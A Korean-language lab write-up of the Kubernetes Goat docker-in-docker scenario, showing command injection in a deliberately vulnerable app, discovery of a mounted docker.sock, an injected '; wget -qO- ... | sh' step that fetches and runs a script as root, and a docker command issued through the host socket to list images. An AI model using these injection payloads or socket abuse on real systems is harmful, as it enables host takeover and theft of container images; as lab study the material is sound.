K8S-Goat DIND (docker-in-docker exploitation)
매번 공부를 미루던 k8s에 대한 찍먹을 위해 k8s-goat 프로젝트를 통해 찍먹을 진행한다. 해당 goat 프로젝트에서는 k8s 환경에서 발생할 수 있는 misconfigurations, 취약점, 보안 문제를 의도적으로 취약하게 구성되어있으며 이를 통해 공격을 진행하며 학습한다.
2번 시나리오는 docker를 사용하고 파이프라인에서 컨테이너를 빌드하는 대부분의 CI/CD 및 파이프라인 시스템은 DIND(docker-in-docker)라는 것을 사용하는데, 기본 컨테이너 런타임에서 컨테이너를 생성 및 구축, 실행을 위해 컨테이너 소켓을 활용하는 시스템 및 파이프라인을 구축하는 일반적인 표준 방법에서 호스트 시스템을 악용하는것에 초점을 둔 시나리오이다.
이번 시나리오를 시작하려면 http://127.0.0.1:1231
에 접근하여 확인할 수 있다
목표 : 호스트 시스템에서 컨테이너 이미지를 탈취
일반적으로 커멘드 인젝션에서 사용되는 패턴을 통해 커멘드 인젝션이 가능한것을 확인할 수 있다.
구축한 k8s-goat이 EKS를 통해 구축하여 AWS Credential을 탈취할 수도 있다. 하지만 이번 시나리오는 AWS Crenditial을 탈취하여 침투하는게 목적이 아니므로 스킵한다.
다음은 mount
명령으로 마운트 정보를 확인해보니 docker.sock
이 파일 시스템에 마운트된것을 확인할 수 있다.
위에서 확인한 /custom/docker/docker.sock
는 호스트 시스템에서 마운트되었다고 예상하고 UNIX 소켓 통신을 진행해야한다.
docker 소켓과 통신하기위해 docker client를 설치하는 명령을 전달한다.
1
2
# 웹데몬을 구동중인 계정이 root로 그냥 설치.
; wget -qO- http://get.docker.com/ | sh
제대로 도커가 설치되었는지 확인하기위해 docker 버전을 출력해본다.
docker socket와 통신하기위해 아래와 같은 명령으로 images 목록을 확인할 수 있다.
1
;/tmp/docker/docker -H unix:///custom/docker/docker.sock images